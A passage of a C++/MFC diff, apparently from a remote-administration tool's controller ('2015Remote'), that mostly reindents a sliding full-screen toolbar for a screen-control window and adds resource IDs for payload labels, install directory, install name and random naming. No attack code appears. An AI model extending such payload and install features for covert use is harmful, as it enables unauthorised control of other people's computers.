间距) + int totalWidth = 80 * 4 + 10 * 3; + int leftBound = (cxScreen - totalWidth) / 2; + int rightBound = (cxScreen + totalWidth) / 2; - // 只有在按钮对应的横向范围内从下往上扫到顶端才弹出 - if (pt.y <= 2 && pt.x >= leftBound && pt.x <= rightBound) { - if (!m_bVisible) SlideIn(); - } - // 鼠标离开工具栏范围(或者在工具栏左右两侧)时隐藏 - else if (pt.y > m_nHeight + 10 || pt.x < leftBound - 50 || pt.x > rightBound + 50) { - if (m_bVisible) SlideOut(); - } + // 只有在按钮对应的横向范围内从下往上扫到顶端才弹出 + if (pt.y <= 2 && pt.x >= leftBound && pt.x <= rightBound) { + if (!m_bVisible) SlideIn(); + } + // 鼠标离开工具栏范围(或者在工具栏左右两侧)时隐藏 + else if (pt.y > m_nHeight + 10 || pt.x < leftBound - 50 || pt.x > rightBound + 50) { + if (m_bVisible) SlideOut(); + } } void CToolbarDlg::SlideIn() { - if (m_bVisible) return; - m_bVisible = true; + if (m_bVisible) return; + m_bVisible = true; - // 获取屏幕宽度,确保位置正确 - int cx = GetSystemMetrics(SM_CXSCREEN); + // 获取屏幕宽度,确保位置正确 + int cx = GetSystemMetrics(SM_CXSCREEN); - // 动画:从 -m_nHeight 移动到 0 - // 步进加大(10像素),等待时间极短(10-15ms) - for (int i = -m_nHeight; i <= 0; i += 10) { - // 使用 SWP_NOACTIVATE 极其重要,防止夺取焦点导致的界面闪烁 - SetWindowPos(&wndTopMost, 0, i, cx, m_nHeight, SWP_SHOWWINDOW | SWP_NOACTIVATE); + // 动画:从 -m_nHeight 移动到 0 + // 步进加大(10像素),等待时间极短(10-15ms) + for (int i = -m_nHeight; i <= 0; i += 10) { + // 使用 SWP_NOACTIVATE 极其重要,防止夺取焦点导致的界面闪烁 + SetWindowPos(&wndTopMost, 0, i, cx, m_nHeight, SWP_SHOWWINDOW | SWP_NOACTIVATE); - // 强制窗口立即重绘按钮,否则背景会是一片漆黑直到动画结束 - UpdateWindow(); + // 强制窗口立即重绘按钮,否则背景会是一片漆黑直到动画结束 + UpdateWindow(); - Sleep(10); // 10ms 是人眼感知的流畅极限 - } + Sleep(10); // 10ms 是人眼感知的流畅极限 + } - // 确保最终位置精准在 0 - SetWindowPos(&wndTopMost, 0, 0, cx, m_nHeight, SWP_NOACTIVATE); + // 确保最终位置精准在 0 + SetWindowPos(&wndTopMost, 0, 0, cx, m_nHeight, SWP_NOACTIVATE); } void CToolbarDlg::SlideOut() { - int cx = GetSystemMetrics(SM_CXSCREEN); - for (int y = 0; y >= -m_nHeight; y -= 8) { - SetWindowPos(&wndTopMost, 0, y, cx, m_nHeight, SWP_NOACTIVATE); - Sleep(50); - } - ShowWindow(SW_HIDE); - m_bVisible = false; + int cx = GetSystemMetrics(SM_CXSCREEN); + for (int y = 0; y >= -m_nHeight; y -= 8) { + SetWindowPos(&wndTopMost, 0, y, cx, m_nHeight, SWP_NOACTIVATE); + Sleep(50); + } + ShowWindow(SW_HIDE); + m_bVisible = false; } void CToolbarDlg::OnBnClickedExitFullscreen() { - // 通知父窗口退出全屏 - GetParent()->PostMessage(WM_COMMAND, ID_EXIT_FULLSCREEN, 0); + // 通知父窗口退出全屏 + GetParent()->PostMessage(WM_COMMAND, ID_EXIT_FULLSCREEN, 0); } void CToolbarDlg::OnBnClickedCtrl() { - CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent(); - pParent->m_bIsCtrl = !pParent->m_bIsCtrl; - pParent->UpdateCtrlStatus(pParent->m_bIsCtrl); - GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕"); + CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent(); + pParent->m_bIsCtrl = !pParent->m_bIsCtrl; + pParent->UpdateCtrlStatus(pParent->m_bIsCtrl); + GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕"); } void CToolbarDlg::OnBnClickedClose() { - GetParent()->PostMessage(WM_CLOSE); + GetParent()->PostMessage(WM_CLOSE); } BOOL CToolbarDlg::OnInitDialog() { - CDialogEx::OnInitDialog(); + CDialogEx::OnInitDialog(); - // 1. 设置分层窗口样式 - ModifyStyleEx(0, WS_EX_LAYERED); + // 1. 设置分层窗口样式 + ModifyStyleEx(0, WS_EX_LAYERED); - // 2. 关键设置:使用 LWA_COLORKEY 和 LWA_ALPHA 混合 - // RGB(255, 0, 255) 是品红色,我们将它定义为“透明色” - // 255 代表按钮部分完全不透明(如果你想要按钮也半透明,可以改成 150-200) - SetLayeredWindowAttributes(RGB(255, 0, 255), 255, LWA_COLORKEY | LWA_ALPHA); + // 2. 关键设置:使用 LWA_COLORKEY 和 LWA_ALPHA 混合 + // RGB(255, 0, 255) 是品红色,我们将它定义为“透明色” + // 255 代表按钮部分完全不透明(如果你想要按钮也半透明,可以改成 150-200) + SetLayeredWindowAttributes(RGB(255, 0, 255), 255, LWA_COLORKEY | LWA_ALPHA); - // --- 按钮布局代码 (保持不变) --- - int cx = GetSystemMetrics(SM_CXSCREEN); - int btnWidth = 80; - int btnHeight = 28; - int btnSpacing = 10; - int totalWidth = btnWidth * 4 + btnSpacing * 3; - int startX = (cx - totalWidth) / 2; - int y = (m_nHeight - btnHeight) / 2; + // --- 按钮布局代码 (保持不变) --- + int cx = GetSystemMetrics(SM_CXSCREEN); + int btnWidth = 80; + int btnHeight = 28; + int btnSpacing = 10; + int totalWidth = btnWidth * 4 + btnSpacing * 3; + int startX = (cx - totalWidth) / 2; + int y = (m_nHeight - btnHeight) / 2; - GetDlgItem(IDC_BTN_EXIT_FULLSCREEN)->SetWindowPos(NULL, startX, y, btnWidth, btnHeight, SWP_NOZORDER); + GetDlgItem(IDC_BTN_EXIT_FULLSCREEN)->SetWindowPos(NULL, startX, y, btnWidth, btnHeight, SWP_NOZORDER); - int nextX = startX + btnWidth + btnSpacing; - GetDlgItem(CONTROL_BTN_ID)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); + int nextX = startX + btnWidth + btnSpacing; + GetDlgItem(CONTROL_BTN_ID)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); - nextX += btnWidth + btnSpacing; - GetDlgItem(IDC_BTN_MINIMIZE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); // 放置最小化按钮 + nextX += btnWidth + btnSpacing; + GetDlgItem(IDC_BTN_MINIMIZE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); // 放置最小化按钮 - nextX += btnWidth + btnSpacing; - GetDlgItem(IDC_BTN_CLOSE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); + nextX += btnWidth + btnSpacing; + GetDlgItem(IDC_BTN_CLOSE)->SetWindowPos(NULL, nextX, y, btnWidth, btnHeight, SWP_NOZORDER); - // 设置控制按钮文本 - CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent(); - GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕"); + // 设置控制按钮文本 + CScreenSpyDlg* pParent = (CScreenSpyDlg*)GetParent(); + GetDlgItem(CONTROL_BTN_ID)->SetWindowTextA(pParent->m_bIsCtrl ? "暂停控制" : "控制屏幕"); - return TRUE; + return TRUE; } void CToolbarDlg::OnBnClickedMinimize() { - // 隐藏工具栏自身并最小化父窗口 - ShowWindow(SW_HIDE); - m_bVisible = false; - GetParent()->ShowWindow(SW_MINIMIZE); + // 隐藏工具栏自身并最小化父窗口 + ShowWindow(SW_HIDE); + m_bVisible = false; + GetParent()->ShowWindow(SW_MINIMIZE); } BOOL CToolbarDlg::OnEraseBkgnd(CDC* pDC) { - CRect rect; - GetClientRect(&rect); - // 使用我们在 SetLayeredWindowAttributes 中定义的颜色填充背景 - pDC->FillSolidRect(rect, RGB(255, 0, 255)); - return TRUE; + CRect rect; + GetClientRect(&rect); + // 使用我们在 SetLayeredWindowAttributes 中定义的颜色填充背景 + pDC->FillSolidRect(rect, RGB(255, 0, 255)); + return TRUE; } diff --git a/server/2015Remote/ToolbarDlg.h b/server/2015Remote/ToolbarDlg.h index 3788caf..4732801 100644 --- a/server/2015Remote/ToolbarDlg.h +++ b/server/2015Remote/ToolbarDlg.h @@ -3,32 +3,32 @@ class CToolbarDlg : public CDialogEx { - DECLARE_DYNAMIC(CToolbarDlg) + DECLARE_DYNAMIC(CToolbarDlg) private: - int m_lastY = 0; // 记录上一次的 Y 坐标 + int m_lastY = 0; // 记录上一次的 Y 坐标 public: - CToolbarDlg(CWnd* pParent = nullptr); - virtual ~CToolbarDlg(); + CToolbarDlg(CWnd* pParent = nullptr); + virtual ~CToolbarDlg(); - enum { IDD = IDD_TOOLBAR_DLG }; + enum { IDD = IDD_TOOLBAR_DLG }; - int m_nHeight = 40; - bool m_bVisible = false; + int m_nHeight = 40; + bool m_bVisible = false; - void SlideIn(); - void SlideOut(); - void CheckMousePosition(); + void SlideIn(); + void SlideOut(); + void CheckMousePosition(); protected: - virtual void DoDataExchange(CDataExchange* pDX); - DECLARE_MESSAGE_MAP() + virtual void DoDataExchange(CDataExchange* pDX); + DECLARE_MESSAGE_MAP() public: - afx_msg void OnBnClickedExitFullscreen(); - afx_msg void OnBnClickedCtrl(); - afx_msg void OnBnClickedMinimize(); - afx_msg void OnBnClickedClose(); - afx_msg BOOL OnEraseBkgnd(CDC* pDC); - virtual BOOL OnInitDialog(); + afx_msg void OnBnClickedExitFullscreen(); + afx_msg void OnBnClickedCtrl(); + afx_msg void OnBnClickedMinimize(); + afx_msg void OnBnClickedClose(); + afx_msg BOOL OnEraseBkgnd(CDC* pDC); + virtual BOOL OnInitDialog(); }; diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index a710c0b..6585381 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -427,9 +427,13 @@ #define IDC_STATIC_PAYLOAD 2211 #define IDC_SLIDER_CLIENT_SIZE 2212 #define IDC_STATIC_CURRENT_FILE 2213 +#define IDC_STATIC_PAYLOAD2 2213 #define IDC_PROGRESS_FILESEND 2214 +#define IDC_STATIC_PAYLOAD3 2214 #define IDC_STATIC_CURRENTINDEX 2215 #define IDC_STATIC_CURRENTPERCENT 2216 +#define IDC_EDIT_INSTALL_DIR 2216 +#define IDC_EDIT_INSTALL_NAME 2217 #define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_DELETE 32775 @@ -606,15 +610,17 @@ #define ID_FILEMANGER_COMPRESS 32990 #define ID_FILEMANGER_32991 32991 #define ID_FILEMANGER_UNCOMPRESS 32992 +#define ID_32993 32993 +#define ID_RANDOM_NAME 32994 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects -// +// #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 322 -#define _APS_NEXT_COMMAND_VALUE 32993 -#define _APS_NEXT_CONTROL_VALUE 2216 +#define _APS_NEXT_COMMAND_VALUE 32995 +#define _APS_NEXT_CONTROL_VALUE 2218 #define _APS_NEXT_SYMED_VALUE 105 #endif #endif